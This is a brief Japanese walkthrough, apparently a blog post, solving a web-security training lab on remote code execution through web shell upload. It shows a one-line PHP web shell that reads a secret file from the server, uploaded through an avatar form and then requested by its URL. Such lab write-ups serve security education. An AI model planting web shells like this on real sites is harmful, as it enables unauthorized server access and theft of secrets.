Remote code execution via web shell upload
wienerでログインすると、アバター画像をアップロードする画面があらわれます。
テストで、JPGファイルをアップしてみます。
ファイルのアップ成功と表示されます。
戻ると、アップしたJPGファイルが表示されてます。
ヒストリーをみます。
フィルター設定ダイアログを開いて、
Filter by MIME type欄の
ImagesのチェックをONにして、Applyを押してください
/files/avatars/xx.jpg の
画像のリクエストが表示されたと思います。
エディタを使って、exploit.phpをいうファイルを作ります。
<?php echo file_get_contents('/home/carlos/secret'); ?>
アップロードフォームから、作ったexploit.phpをアップします。
アップが成功したページが表示されます。
内臓ブラウザのURLで、以下を叩きます。
/files/avatars/exploit.php
秘密のパスワードが表示されるので、Submit solutionに入れて、クリア!
–)v
コメント